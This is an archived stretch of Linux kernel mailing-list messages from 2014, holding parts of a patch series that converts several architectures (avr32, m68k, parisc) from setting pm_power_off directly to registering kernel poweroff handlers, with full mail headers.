index 90cca5e..de5b2ff 100644
--- a/drivers/parisc/power.c
+++ b/drivers/parisc/power.c
@@ -95,8 +95,7 @@ static void process_shutdown(void)
 		/* send kill signal */
 		if (kill_cad_pid(SIGINT, 1)) {
 			/* just in case killing init process failed */
-			if (pm_power_off)
-				pm_power_off();
+			kernel_power_off();
 		}
 	}
 }
diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handler.c
index ed99e5e..96f59ef 100644
--- a/kernel/power/poweroff_handler.c
+++ b/kernel/power/poweroff_handler.c
@@ -20,6 +20,12 @@
 #include <linux/types.h>
 
 /*
+ * If set, calling this function will power off the system immediately.
+ */
+void (*pm_power_off)(void);
+EXPORT_SYMBOL(pm_power_off);
+
+/*
  *	Notifier list for kernel code which wants to be called
  *	to power off the system.
  */
@@ -157,6 +163,8 @@ int register_poweroff_handler_simple(void (*handler)(void), int priority)
  */
 void do_kernel_poweroff(void)
 {
+	if (pm_power_off)
+		pm_power_off();
 	atomic_notifier_call_chain(&poweroff_handler_list, 0, NULL);
 }
 
diff --git a/kernel/reboot.c b/kernel/reboot.c
index 5925f5a..897e275 100644
--- a/kernel/reboot.c
+++ b/kernel/reboot.c
@@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
 		return ret;
 
 	/* Instead of trying to make the power_off code look like
-	 * halt when pm_power_off is not set do it the easy way.
+	 * halt when no poweroff handler exists do it the easy way.
 	 */
-	if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
+	if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_poweroff())
 		cmd = LINUX_REBOOT_CMD_HALT;
 
 	mutex_lock(&reboot_mutex);
-- 
1.9.1

From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 33/44] avr32: atngw100: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:35 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1412659726-29957-34-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659921 27202 80.91.229.3 (7 Oct 2014 05:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:32:01 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Haavard Skin
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:31:52 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNN3-0003UJ-Uz
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:31:38 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754082AbaJGFbf (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:35 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41632 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754110AbaJGFbR (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:31:17 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=4XqZtq9Ok4syPleNnAjbtbRL7fggjPH6hovszx79hEU=;
	b=rqFKw6jzX4Hdmkg2kgwGSCxW2vWh89svgdsbVjonauVqFgI0O2vcPeSkznb5NI6hyWjNmnnG9JoKQ1dLXqq+DmRcVcVCxf649wTAhNLil0ZZWifo8MN8oM25hS2/Zqomj8nTbzlfD24zQck63W7cwbtm3gsyuGyp60RYQVS4R4I=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNMi-002lYu-LP
	for linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:31:16 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32936 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLi-002eH9-QH; Tue, 07 Oct 2014 05:30:15 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337AA4.0135,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1121
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 80
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:330 gmane.linux.kernel:1802469 gmane.linux.drivers.devicetree:93059 gmane.linux.kernel.virtualization.lguest:1478 gmane.linux.acpi.devel:71292 gmane.linux.ports.alpha:2463 gmane.linux.kernel.efi:4746 gmane.linux.ports.hexagon:810 gmane.linux.ports.ppc64.devel:105889 gmane.linux.ports.tegra:19492 gmane.linux.kernel.openipmi:2469 gmane.linux.uml.devel:14682 gmane.linux.ports.arm.kernel:362364 gmane.linux.ports.ia64:24499 gmane.linux.ports.mips.general:44180 gmane.linux.ports.parisc:6105 gmane.linux.power-management.general:50634 gmane.linux.ports.sh.devel:39803
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/330>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Cc: Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/avr32/boards/atngw100/mrmt.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/avr32/boards/atngw100/mrmt.c b/arch/avr32/boards/atngw100/mrmt.c
index 91146b4..54d0c27 100644
--- a/arch/avr32/boards/atngw100/mrmt.c
+++ b/arch/avr32/boards/atngw100/mrmt.c
@@ -274,7 +274,7 @@ static int __init mrmt1_init(void)
 {
 	gpio_set_value( PIN_PWR_ON, 1 );	/* Ensure PWR_ON is enabled */
 
-	pm_power_off = mrmt_power_off;
+	register_poweroff_handler_simple(mrmt_power_off, 128);
 
 	/* Setup USARTS (other than console) */
 	at32_map_usart(2, 1, 0);	/* USART 2: /dev/ttyS1, RMT1:DB9M */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 35/44] m68k: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:37 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <1412659726-29957-36-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659932 27368 80.91.229.3 (7 Oct 2014 05:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:32:12 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Geert Uytter
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:32:04 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNNL-0003UJ-9U
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:31:55 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754165AbaJGFbv (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:51 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41664 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754009AbaJGFbU (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:31:20 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=2DHdGnig9u5tQ1srn2rw/tMw3eTmHo5GaphBiMOBAHI=;
	b=YTUgCNzu4pkAeseuvTq/69OycOb7L+rUrnDlXS0z1iGWZt6m8ssB16TqJvzy744ybEGEPjcdRTerijEFyO/1Aj/SV4hoqH2sZjJaN3z0zG6uMmjn57g6wTvshMBHJWhLhEzehO+4im9NX4410m4a/HEykwrfWqoc834PPtnAcbo=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNMl-002lix-Ir
	for linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:31:19 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32938 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLp-002emE-KH; Tue, 07 Oct 2014 05:30:22 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020207.54337AA7.00E6,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1153
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 97
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:331 gmane.linux.kernel:1802470 gmane.linux.drivers.devicetree:93060 gmane.linux.kernel.virtualization.lguest:1479 gmane.linux.acpi.devel:71293 gmane.linux.ports.alpha:2464 gmane.linux.kernel.efi:4747 gmane.linux.ports.hexagon:811 gmane.linux.ports.ppc64.devel:105890 gmane.linux.ports.tegra:19493 gmane.linux.kernel.openipmi:2470 gmane.linux.uml.devel:14683 gmane.linux.ports.arm.kernel:362365 gmane.linux.ports.ia64:24500 gmane.linux.ports.mips.general:44181 gmane.linux.ports.parisc:6106 gmane.linux.power-management.general:50635 gmane.linux.ports.sh.devel:39804
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/331>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Cc: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Cc: Joshua Thompson <funaho-E7XWuSn13XjYtjvyW6yDsg@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/m68k/emu/natfeat.c | 2 +-
 arch/m68k/mac/config.c  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/m68k/emu/natfeat.c b/arch/m68k/emu/natfeat.c
index 91e2ae7..c4d5bd8 100644
--- a/arch/m68k/emu/natfeat.c
+++ b/arch/m68k/emu/natfeat.c
@@ -91,5 +91,5 @@ void __init nf_init(void)
 	pr_info("NatFeats found (%s, %lu.%lu)\n", buf, version >> 16,
 		version & 0xffff);
 
-	pm_power_off = nf_poweroff;
+	register_poweroff_handler_simple(nf_poweroff, 128);
 }
diff --git a/arch/m68k/mac/config.c b/arch/m68k/mac/config.c
index 677913ff..5d8e2e6 100644
--- a/arch/m68k/mac/config.c
+++ b/arch/m68k/mac/config.c
@@ -160,7 +160,7 @@ void __init config_mac(void)
 	mach_set_clock_mmss = mac_set_clock_mmss;
 	mach_reset = mac_reset;
 	mach_halt = mac_poweroff;
-	pm_power_off = mac_poweroff;
+	register_poweroff_handler_simple(mac_poweroff, 128);
 	mach_max_dma_address = 0xffffffff;
 #if defined(CONFIG_INPUT_M68K_BEEP) || defined(CONFIG_INPUT_M68K_BEEP_MODULE)
 	mach_beep = mac_mksound;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 19/44] ipmi: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:21 -0700
Lines: 106
Approved: news@gmane.org
Message-ID: <1412659726-29957-20-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659945 27477 80.91.229.3 (7 Oct 2014 05:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:32:25 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Corey Minyar
To: linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 07:32:16 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbNNa-0003UJ-O7
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 07:32:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752904AbaJGFcE (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 01:32:04 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41719 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754147AbaJGFb0 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 01:31:26 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=08yvG6RUxyn5keR1ylHDkoqXg0J27xNC2kdG+fz9fJk=;
	b=mvKogzSxyL8keg/lZ3dCT2R058KLzzoOVpIzOU94Cc6hoBQc8BVkt190bTfQFathTJLnF6vHvC2KdhyJFFMZ5+4Q4vMS/+kuZH2FJubY8oUX0qeM3GLogisdFKhaeGu9q/p1L8QjXjXJtW/4mdkdZ2XaoJSNaR2K9l0yiWGzGAc=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMr-002mDD-RJ
	for linux-m68k@lists.linux-m68k.org; Tue, 07 Oct 2014 05:31:25 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32914 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLA-002bVt-Uq; Tue, 07 Oct 2014 05:29:41 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: *
X-Spam-Status: No, score=2.0 required=50.0 tests=SpamClass_Suspect,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 512
X-CTCH-RefID: str=0001.0A020208.54337AAE.0029,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=512,sb=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1192
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 118
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.linux-m68k.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
